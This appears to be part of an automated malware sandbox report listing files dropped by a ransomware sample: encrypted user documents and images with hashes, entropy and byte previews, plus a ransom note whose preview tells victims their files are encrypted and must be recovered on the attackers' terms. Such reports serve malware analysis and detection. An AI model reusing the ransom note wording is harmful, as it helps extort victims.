                                                                                C:\Users\user\Desktop\NVWZAPQSQL.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.842755460712262
                                                                                Encrypted:false
                                                                                SSDEEP:24:6molBMN7p3aCVgfyXFUG/e4JYJrQrV4Ehv4PbJI0nrTfu/AlKk:ZoIppKYFXFH/BgQi0doTfu/AlKk
                                                                                MD5:B461EB6BC3A2AD5F4918EA585BB51185
                                                                                SHA1:CAE1C838445A3F848F0989EB30D9723DAD038BC0
                                                                                SHA-256:C70AAEABBA11D451E01B73101C3914BED746AEAEFE84F6FA6BDD370972180622
                                                                                SHA-512:A534D6F6D50E83FC15BA267B09D488A1D4E1AA698C7EA60AE2E648B75698A31307FA33FD4FE49419899E126E1FC4C716DF9E23045272C0016B419DF88B455849
                                                                                Malicious:false
                                                                                Preview: .F...Ad/.L.....X.1..9.g.......".m.......5Z..,.....x._..A._.......aC............7Q.@...........'#...I....Pe.t{Q.......*..3...R\..R.t....z......]......H..9.....l.......B=/....+.rMs...n....]..\...6.a<...."..xGq.+j....%..vu.f....Z..+..#..P......U.*.6.. .p.....?.$h.q.....be...........W.a.m..}.".8M5. w..g.4.c..I.c...`2.......C..7z.5W5(>@I.fo..8.....P|..k..A....(Z....SeG.S..\[.l.ZxK.bM..u.lk....v.......&.7.N.C'w.....(......z....Q.]%U...!.....5...?f.dq...5`.l..>....n.F...g.C....R>o.......m......n.fF.Q.?...q......:.9....e.4.W.`.p..c....|g.a.5.A..c......>.%..&.:).=....;../&..\x!..'u;-T..@...X...j.I'..m..s.lf.A]B..sn..M.-.....s..../.82%,_",.D......TXS..|x.n.qd..f...Hk......c5.Y....P..P./K...h2.Z.d..-.j.P..N...J...."....@d..z..e..._./)B..Tf.g.3-.G\......@Y..9}\q..o.@.sm..;.m/^2*.#G..ns...8e...H.j...18....0)..!8.......g.\p....;..g..........!.&.W.Ar..[..QF..~.~..L..I.K....P.A.u JI../vOO....K.sKZ.}.....{.|.$j.y..D.h../x...X...}.....j..O3=...UtAg...n....%.
                                                                                C:\Users\user\Desktop\NVWZAPQSQL.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.854936426793725
                                                                                Encrypted:false
                                                                                SSDEEP:24:PUTHtPD9ezpSqGQXvqWpMg7/bUSnHPXMDPMRrTfu/A9:PUJpeVPTlP8DPaTfu/A9
                                                                                MD5:8E24AE16B7CE853E2E9A21D468B26164
                                                                                SHA1:AFA82FACC425D5940AB463854B519BF864C53850
                                                                                SHA-256:9E3C2E5375B4CA9A0CF36060AEDBA848DEBDB843707887B8CDD276EE352EF06B
                                                                                SHA-512:6CEC3F545CC5FF4CFF2CDE754ECF05570F0B8D3821A850E81E06F82FECED9369081AD95B6A94EEFC197379F22C1CFC58FB946427B8EAFE9FBDF1B0FA14B6F33E
                                                                                Malicious:false
                                                                                Preview: Z...U....t....r....]..r&.x...b..A..t....4.8..l...m..h.!.m.h.e..E.s..R.F..*..rI.O...A..JR.&z.W...s.-.Tc~....$..@|."y.dTv...n<...7,...)..+.Q...4W!.3......yX......`..Y...M....B.9),4.*s9..n.C...g.3......v......dC....*T^i:....'.j....F._.'.:0.....(..kV..V.e..~.....;9..5.Q..f.....h.t!eu.....%'.U>..i./z.M.>.GJ....S.}%......../...gg;-H.....c......U#y.Q+/.X.P.|..s....F0/.w.D....7.k.?.2T...'S.o.....XT..-.S.....=...A.p..?...1HL..!E....w.w6.....p?c.j......>..mu.4./@^....0.....3.-.3L./c....}J}....U;....D........`).1c.( .-...b&&iY.."......-...b.=!..L..{~n....k.qMgA.Z..2.Foest"x....R......w.........f.....*.6%.K.fX..../.hiB.VH..O.^..+...n...........V.R..Z.f.T+.J........V.O.#2`........\....7O...N...$.p.Fln..8.@...A}.r.%&"6s.Q..wj.{h.......|....#....)..N.....l.1..@..y`..$v*\X..Y>...Y"h....W.}..5...L]......M.B..$..1.jpEfJ.tm.7....H!..".:Dn....(.....z.P..+ 1hW.{..,..r.{<C..K.M...-.mS...sz..v..A\..;.t*.B.>xg]....J.".zC1...j..>h..?.Y..^.4..v.).7\~6 .-
                                                                                C:\Users\user\Desktop\NVWZAPQSQL.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.849194732546819
                                                                                Encrypted:false
                                                                                SSDEEP:24:868S4+f5GVfr60cIGzn/IgSpTMMLI+Df7vr0hK6V0xkVotSFm6rTfu/AQcB:Bku8Vfe0NnMYZDDriK6GxkVot/QTfu/g
                                                                                MD5:C430DD4D0DC26BD6AC8EDC7ABA93899B
                                                                                SHA1:A826446C04575A8BA268E7A849182CA55972FEAB
                                                                                SHA-256:54E6D7256F2A93090CD5160D16FBA0DDF1546469D732E478E1EBA883309FF3BF
                                                                                SHA-512:25B880784DF3E251C206568AE70C4EDA2F55A5AFC54373B9F141981C4C5B676B66D21CB7D931AA775C5A88C2D64C7928EF7E6722A0F5051766FB5377B96A2CF3
                                                                                Malicious:false
                                                                                Preview: .....0GJ~.n7A..V....3...Y..l.z.|..L}N.<.]k....Y9..F..x.].l....[N.Y....`*%...>.^q.R..^h.N.......pG> ...omx...1..3q..!.=....U.....h.."/.+H.M-..l..?{e..r6..Y.2...X.;|Y...a...7...w.nvK?m--9.24t.)......G~}`.IiJ.q....i......n^x...O%.+sh.FR..[_...Z9..'>~e...'}.$O..+..:.w.KL...s.k....K(.....P<Q.).n.c4a.C..-<.H.C..m,p^.v.a....-g-.~.#..W#.|..G#...KI.#..`..*..*Uv..YQ.=..K..Wl..9d..tC.k...J......Y.m..:$..d......@2.....*u....YO...?..j.....7!........y./.Y......R......r....c.......Z........f....O..1..............VEA..^......{.fp.H..w.....3..M|O..2.^. .S........'2i....!.f....O}......m.....1E1..x.x....0..=/..b%..eV(.......mE@.;^..S.\....I.....>.p...4_....C{`...........IJa....9.."bJ.Qs...\.|..]"....U....)......8POh.x[.r...tf.d..... .9... Z...=........i>....t.rJv..g!m.g@..%0Q..'...i......*.s.#.uV.5W.....o.G....D.yW...e.{....\wZ..*..M......z...x .[...d..{x.6.....M...cQ...=@x.....!."....5.. .#nK.........l..%..1...........te:.F........4l...W.....!/..0
                                                                                C:\Users\user\Desktop\NYMMPCEIMA\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\PALRGUCVEH.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8345375476103785
                                                                                Encrypted:false
                                                                                SSDEEP:24:waLXxApVCeSMRxrVoph1r7f0KBLcYLkPQGvhCTG5IuPOrsEavzErTfu/AwLIcH:7LZexRlmpvBUMG64Or7izmTfu/AYH
                                                                                MD5:536FB8025D79909DEE516F0786ECA768
                                                                                SHA1:58A9360518CB66C3F1E01E866123A1BC02BFFE98
                                                                                SHA-256:4FD56230F6177689A97641393C2DB89A8EA2677021C27598F968CD807CDAA4A2
                                                                                SHA-512:E28CCFD7B2FBA650BB0738A8977C5F0893B7D02448B53D4A3DB50C1CEC0BF8165000D0A82F54E15214F6065BAB2B62C9D6CB860A26D338BE9B27C24713EA63DE
                                                                                Malicious:false
                                                                                Preview: t.c.....a`+o.T.C....w!..z..?.$[...#..,.WE.|*S.F../.:..,W...aS6.;..]5.R..`..#...<.........R......B{.....$h.\9<.V..Q.Z.C.,.X,....o...Q.p.N.I&r...|*.t.s.x..Z.......v.`....3.]o..~...2........z.E(...G.} ;.q....W.~........S....a........F)....TZ.1.5.b._k.....t.9a..7E.9.J.........<.4...P/U..`......$.y...{..;.S.~.*.0..7i..v-.N.].....!.\l.+..U.z...~..U...T.y..=6..+.Kk......>.....f.i..Y.M......i.C.D.NT.-%..Zb...M......U_...../.r......l.....w..u7p.fDC.N.$.)Bf...>9r$>(M....$..{..a/.;.....i...$..)..Em.'.#{.w..C\.w....k........X.z.P?@.o.\8..y}7.B...[.k1.wx..N..q.>..Z.z=.+f.1M.`u.I..4X..].H...HI...A..4....TG.}..u.+._..+"o|.....VL...p...CMx...Kq?....(.B$.e."...<}....#.....p.....Q.HI.....[.{8........~}.....O.M?.2._.C....G,i..$..HVjR."`za/....{G......?.d.@.w........U.@....w.<..}...iZ...A.K......U.....2.z\..9.f.....-1..I.C.....U.D)../Y..9....6..So.....d..,...M...y[a.../E.2.[y.z&.#.....h.,.g.B.#.......u.,..h....~...x..=N................W......t.h
                                                                                C:\Users\user\Desktop\PIVFAGEAAV.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8348225733510715
                                                                                Encrypted:false
                                                                                SSDEEP:24:m4PUG3y6RI+GEA5XfCteFXhVBm8uhsucmSvVvrTfu/AmSFFE1Q:9H3bIFEAFKteBzmhgFNTfu/AmhS
                                                                                MD5:BC3CCED0F0ADC50B8E9733518FE723C6
                                                                                SHA1:706D208FD85769433E3AE0BACD0B77AE438D0EE5
                                                                                SHA-256:82B5EC0DCDFDB44FB8E3EA4D739322541CF80F3795461380A709C914D3731DE4
                                                                                SHA-512:062E11408DC54BE09A885E722FDFC01E8C87444A6B1039F88E4C16B9BE2F3796E890738A5221246DF812C8A226E17307F8DEE8B28CB26457A7DAE9AF4154B10F
                                                                                Malicious:false
                                                                                Preview: ...D.....O..?V..;F..p.......`..D..gh..W..;GTr.%.^X.{|..*...MG..\..%......~?5.J;.IN....OF....3.vt.0Uu)J*.E..b.y2..be..cmH.T.S..b...)....W......^.!./A....L.,...j....+.b.../..K....|..K..+f.....:.....qR....K(t.<..Ih. .-B......_...F\.Y=.qLp./-mA...9#...%".T~R..Co".d...3@...u...O'Hw....Et..k..O.E.xB..yr.=..T.....NF.oL L..D.?.8.o...%....r...S{......;w.rv.\....a.Z.m.%JF.'I..5.Gy.l.._.g.....q+..|Q....6gP..7..-..h..SV_.*....l".*-+aLI3..Y ..aDeA'>.{.Q..4...........je......f...|ddU|S.2^!.Ds............!)D.&pk..X.>P..x.#...=-..~[.=.si.....I....J...y.......Z.......".....o....0H...,/..d..\.P.1......7....Z..]C....&.0.$>3"....0....q.....}$..a;..#.MIf...;......~.L....`........\..6x....e...Qj...#.1Y#^...G.\..;..2.}U.R@.]....[...Z-.dYJ=..t.)5.:.U.....bV..X..$~g6Dj.m..... [a..hx-../.E`Y......^..o.|.....$.O.!.X.`.....0.W..G:).......0]z~.%.k....h7...."^Q...c.YV...zk..k5{......x..j.dI+....ij...a...t....f>....ir.d8.^*........O.`..u.)....%.U.a..J]?.......%...y.>..9M.4tF.... .
                                                                                C:\Users\user\Desktop\PIVFAGEAAV.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.863435519450037
                                                                                Encrypted:false
                                                                                SSDEEP:24:XR7Bxtc3GNxWQeqL5RrRzEEQ2oxOCtEL5kas8xrTfu/AOmcj:B7ztc3GNIQeo5Rp0sCtEOaswTfu/AOTj
                                                                                MD5:4D55894C9C1F83990A976E525E622E09
                                                                                SHA1:DFEE3F74B240249DD6B65A41250E2624ACCB19E1
                                                                                SHA-256:5BD327600E0CE33B21B99EEC6FFF4A040D3F08A45DE1EADD540705086151EEBF
                                                                                SHA-512:A261D225A4F927EE7F02105ED2FBF44B3211444252D925CD7F208B67ECB9FD9009AC129F2220FA4537753BBC094E893B6FC40E9107B0F843B72DF5D1333F65D6
                                                                                Malicious:false
                                                                                Preview: I...%R..$...r=".+..i!.2..|Y.=.....&..F...&L....j..@^((.....D....]...%.4z...N.#.{.:}L|._._|..C.{}.D.d.=.-\...$2.*v&.r..MTJ....!.M...Vc....l5....^o.w./.O8} .`wB..pu.Q...ZKd...FOFrE..yX2.SS..k+V@w.[... ....{...~.............r.`.wZ...xc.k.J%...l._r.}.b....Q.f.p..H.....6...j.^)4....7...Lb..7...!,;.6dB.;'._.H....'....fZ......n.P/.<...z.q!.$,...3J...I..y.Q@*.S}uMlw*E\B.0)d...hp.`,W.v6...9v.....x...E...f...Bg..'h..odw.....=.0...~..n.r..dx....D.H.s.}...<..#......a-..s!I.?...F}...6.....>l..U.........\....F.(....8..I_.R&M...........jn..*..w...3L.....`.z..r6....._.&y.m>I.;..P",|........`..4h.._+.....6...E,.zb.....(.q.D..uv...w....Y.%>..{..5.{.f1.8.c.;.._,bKG.7.~NR........p,.....M...8.![h.,t..T]|^.a|..e.f...Rc..........oB...9...............ck.nU/0...q^.{.....8.....w.|qt/Ws......?]....3...|y.P...{`.U.w..c|.......a:..#..6>......>.>.c.lM............{.....IH3.;.\.N...@kb.E.e_K..Y....t(O.b..?...;Co:..V.$...v..@...,M.0.s.h.tg.<:..B.........#..W.z....A.p8......z.zDh.
                                                                                C:\Users\user\Desktop\PIVFAGEAAV\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\PIVFAGEAAV\EOWRVPQCCS.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.858340110548538
                                                                                Encrypted:false
                                                                                SSDEEP:24:kS36PTGhiVr0A6z46N/Q80YZCkzZsg6WrTfu/A4+:ke6bPm3lY8nZCkzZ3Tfu/At
                                                                                MD5:A8DF2187BAFB018B0B9693E5B030BD43
                                                                                SHA1:0166A14B04A39EDAFC524A93F7E101468D707949
                                                                                SHA-256:440B634401AD5152D18CAA87BC2E63905BB686B43122406CE7792F2799C6B6A6
                                                                                SHA-512:5118FC37B7A95447AA830669C905BA22BF291853D35AEC94FE4E4531D4ED6A2B91AA3160E51CA7C356ECC16965D5B983220E23ED101579E31ECE5FC7CECF5174
                                                                                Malicious:false
                                                                                Preview: ..}|t......'I..w.S..|q.*$ia./..@....*5_n.....}.....,..[!......8....d..t..@9J6.8..6.Q....x....q.l...O..a.t.K...C:....7.~d.....}...ek`2:..U'c...g<...X..ZC...Fa....lVg..5...0.....W.....,.tv..W..LgO.DG%R....q`..y.....A...1.H..'..7...%z2]...-.9..",E<........SwV.h.....9O.m5(;9R0T.a.^.=c".576..Sl0S...!...@..<...s.S.\.o.$..{.K.@.fm:...W.......mQ..4_...#R....'.uM...f!.C.'....i..b+..df.x.i/.o.`0...L..T....;Nj.M......p...$.<....j;.7.2".c.b.......?H~...~.e..`.C...{#..G....k..f.P.._m.@-.GK...-.Rr......<P0NE4..n..;t.>@Yf......az..d.Sd....C^.....1|..*..+...e-*...w.....|..6.J..8pt...)......nG....:.....p...~.#).....Lg.....@O......+Z.v..$}..j.....G.....|....d7.&&..........L.xAD.P..J.D....y......Y5nc7.>S.+r.&xM'<G.L......-C.b..[T.V.V9.3....8...H.gJ.*....H....x?$..%.....g..R...4J.....bl...BD.B.....-..u.f...C...._C..%....N.U.@...G.......L..uT"..2.....V..~...C;Ek._.d..eF.a.i%..c.......e..k..r....KL..(.n........h.P.R`.DYy..N.-../.!.C...%......t..\..E..tp.L.....3..H.
                                                                                C:\Users\user\Desktop\PIVFAGEAAV\GRXZDKKVDB.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.842054161577874
                                                                                Encrypted:false
                                                                                SSDEEP:24:m/b4FPwNhhudiiblDdqDS2PPd9u0GydrTfu/AuZK:E+QylGS+48Tfu/AD
                                                                                MD5:B097B047AA5FEC62BFC4BC5FADF5F90A
                                                                                SHA1:5B8C190800FD0B5055C4E5E2A7A9A72A8F5C6772
                                                                                SHA-256:71C7F1C66A2BAE11E41C65C17EC451042DCB1D408E4BB7626F7279568E033DFA
                                                                                SHA-512:F2A4F71B7662B27FAB9E6D58EEEACC49D8327D126B335F57A630F52BC061A96E15A6CC80055B3F7A676712C3B1BBEB755D96EB0BB9AA6F16C7A9698650DEA3CE
                                                                                Malicious:false
                                                                                Preview: .a{.2........._..(".d.!....>...._.4.mYb..^.E...}5.|........C.B....].s..n.p=.e........t.`....5@.m...5W.J{!.).L..[c...{..H.Es.QL).....>.Ubm..V..p9k.`..:..Y....0...g{..w..`^.P....M(..N#+j">.a..\.A.........8....5..L.1....'o..@j..jr..........yj.i..E....J....[...a.....m\a.&O.].n^.1\.A`x..y[..5-_ zy.rdt....z._?.5...6....{..LT...o.(.....M...M.x....r6H..%fz:..._......0..U^t...;i...$#\.......8..*.w.2.........h.8.........8.k...m.}.~5(.Ql.u.......]....,.../4v*.C'fB~.o<UI@.pF#...........:..4.....&..cUB..S....[%)$#%....h..J......Wt.n.a5.....:..:d7.._SDSD^~.v*..d.<.....D.....(.r....j.Of.&.2Q.....A....d.IiS.^,......xZs...I]_.._.5-+B.$B...k.w*.!7..!.g..5....$....1.K.F....9K..2..n...A.-+$G......*..q.W..Xb.....q6@....."...[.a.i.r...........h[....'.=.&.V....8.&.:..e..j%...........,di...._.^Q..S.l.......>.!;..>`.M...U.......]I..'..9..%21...s{.(/"..).....^..N.W.r...X8..pC.B..".x.*.;..&.SlL.I$..!..Vm...gP..8ks`.}......cYg..].).Em*n.r&...7int......{y7.
                                                                                C:\Users\user\Desktop\PIVFAGEAAV\NVWZAPQSQL.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.871806198050412
                                                                                Encrypted:false
                                                                                SSDEEP:24:YcGy6C4KuCPBopqMmnV+NMyd5kWD2A04iFG04OLuZbUMKrTfu/AXGskb:Yc4CBJB6jjNfd5kWDdTQah2Tfu/AXYb
                                                                                MD5:1EB52B553E79394670A98C915AF230A5
                                                                                SHA1:2746D9303B0ECC55A3F7CB9D69A40CF7F5630C71
                                                                                SHA-256:50E1A5FE11AAA822F5149D13471240B39B9EAC8D7DDB65AF1F59D8B1E3513F06
                                                                                SHA-512:313CDB41E0BDD62BCB1063F07F62A53ECDD5BF928B86FA4A9F870ABF6F2B9E80B619E6706A270ECCB0B5524853ACD9924D89F865C33E18A40FD0D942BC30B906
                                                                                Malicious:false
                                                                                Preview: $...;.|.Y....{.^.7....u..Ow...8..w.n.$N.c...Uoo..k......g:..^.O#..^.{...2.4.i....^p./.Fs8.=P.Fy.@..I.=a.0...).,../.g.M}8L.v4......\..6}..-.T...4y..vu.$.......r.dd.j[...".N.Y..*....m.W.y......."...F.j.4~].#..-ARn....h{..G%.C..}B@.^5..hw.a.....Y.....*.p/z..H.#k...j..M.|...&QcOi.........@.}..{ZV..d.W.mG.y. ...Z.X.XS.....8...Q...BK..G>._...,..<......h.|A...s.f.9..U.U..-....O..J......."....N.-.a...|(.}..b.r=..-.M...r=.e.5/...i....r...#.....fYx..D.R.c-..I?.bF&..Y%...R6..`.s..A..@'.). .%?...o.V...U.{.&..+.{.Y..|]..@{.<..s......_.@...l\.jc^.D<.mw6.$...5M.J.(..bb..%.....U.q....q0..Q..j..ck_..N.2o.X.>........:..u.S.;.*.......N....e..>...7"dt61..e..H#.._..Q..........n.lY.1._.._.W<J..c..(.....s.E..=.,.9...{...[g.dK.d...{!....=..f.. .3Z).Y.f..n.m.M...k.x..I.8.. E.....4...o..%.....&.x/k...wls.$.5..T....+t...[j...<.%=.F._..no.K...E..\.Y..I:4..#&g@..-......(.'@0V78.....W<7..[f.'.#>......S..<?......z..%....^@.1...F-*...C..`3...,.-%...I....
                                                                                C:\Users\user\Desktop\PIVFAGEAAV\PALRGUCVEH.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.830091455370066
                                                                                Encrypted:false
                                                                                SSDEEP:24:01/kKrGOxIj1p9rAWYp2zmdzay3rGA4U2TbrTfu/ATu9M:Ykujxe1pFAd21ybGA4UmTfu/AV
                                                                                MD5:E2CA0CB6E98FA80A00F7404277AF7020
                                                                                SHA1:218CF06B59B7ED643C1871E70752E036BD74D170
                                                                                SHA-256:FFEBB02F89B07E6E42D2D1E658ABAAC6D2343C532BB018CF7A5B7C6ED049A16C
                                                                                SHA-512:EDAF9421B43E93D3465C48EE46432C0D1653170209EE58D5120F09487D30D901EC1E0CF8CA5CF77CD3DBB73CA60DD36002FE25326BA9CB04F037F3EFDA39C434
                                                                                Malicious:false
                                                                                Preview: &'G...I..`...K)Lq..cB..[.....r.=.U!....9.....I+8..[..XZ.(..N.+o..|_.)j7..6..X.Zs..naV.i..QM.Ye...p..R]...._..-fDC.D....."..C.........E..h6...'..4.}.p.l.mo>.....4.I....^.Uq...\..J...[.........a..Z...!C........G.z.*YJ..BF.[.......;*...J....8...C..Q*x...'ji...F..f.7.wX;.,...0&.6..\.q.:..+......z$Rg&Tv)".R.c?1k|6k.U.}...@qM...mQM,..@..+.\:..7.....A...}^.bB.F3.G07`..b..@|.T.G&..S..y...H.%.....m.S....:n.=....|......n..k&g-...kc.....9..x.L..*..s...9...c.X.....H.??......b}....C..w.....u,...CF..Ak.D.o...mS$Y..>..........:#.....c...p.t.Fr.H...;@#=.gY.>..6l...Oiu..............a..4.S.a.b...|1..bV....Z....21|Uv...b...Vy/r.....EZ...H.....m+.|(.R.....zPJ.'.-S....,C..[.HK.........M.../...}=..G!}[_..%c\.......Q.".......... ..N.K{M.OPX.2..h..L...6.^.P...Y3.......Vj..Ug.nla*..}.#.1!..`.x....@.....X!<h.......;D_.-.8P.I...c...J.s..V$.....U..7N.+.....]8J6n.\../..I@.n-o...5Z..kv...Q.;....+.$......c.;qQ.".J!.....M.U.FZ..>|}.....t......^..)......`._..].`-
                                                                                C:\Users\user\Desktop\PIVFAGEAAV\PIVFAGEAAV.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.860869849636961
                                                                                Encrypted:false
                                                                                SSDEEP:24:mzGwNWcgx4Et+4x7vxKu8Cf73du+a9sxVmSZvJAoQ3drTfu/Ap9:myQWcgxp+4kuRbUH+vJXulTfu/Ap9
                                                                                MD5:3318D4DC69A6140FB8ED278A75B55F60
                                                                                SHA1:0901DED8A0B65C5EE4BB7F388432336AB1179F61
                                                                                SHA-256:2639BBFB2EBD76B4536FB84DEB1E0782BA017E72EF57C2E26795A9058BE5AB8A
                                                                                SHA-512:710BE5845EFE3503BC054FB4CC7A920771B10C4AD6FC6AAE778F381CB08C3906D2E4B666FBAD0362664B753EE006578EE7F8C459D038950E12634FF06792096B
                                                                                Malicious:false
                                                                                Preview: =....k..UD.e.F.W.2c..%z..d`.....>..\.......0...+.)..D.W..6..%Oqm..z.4.\2PY...l..%..tx..w.3Cq.8z.E.....>2....J!..EP|.!.v{..o.'H97o.y...$....F..1(.....O<F%..E..*.=.4.........m.#...#Nt.....k.:.../>...j{.Gc.;.&.o.R/.n....;..v.....TSFF.....z`.N'.$!p.7x..p.B95.S......>.<Y?....s.t.d!..N[..3..=."......G..em>..M.........^p.@..]<.z.....5Q1...=n.../.Z.,.vS....M...../$....N7.P8F.D.p[t[<.TW.s@CUw..U).........F8r'O3".FfV...w..p?....3.m"bmb...[3...T.1.&.1.6V......c...S......4....c......V.h....l.....B>Z..).h>..@L..P.Y...[))A.[.....H..Z..*.e.;........V._.......a...O.6.....j...mu.W.i.@.g-....M....u.....]......?...@T./...O....ZU0U.J1.s.6.nf..N2!.H..r.P....9...0_..So..Y..r.@v....W/C.....|G...3F...7..S,..I...}>...\%!.E.!.&..o;......k'...<...9.a'...f..Z.A[g.$r.K....."..W~H.. x....._..X.........ot...#.e..v)>r.T?y3.E.sf{..^..4...9.z..w..S.n..!...k.[....)=...x......21...bG..y.(<_l.z..Z.....$....P...(T...w......Is...;.?...Pb.K.Cyd.>TG........!y..{.......
                                                                                C:\Users\user\Desktop\PIVFAGEAAV\SQSJKEBWDT.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
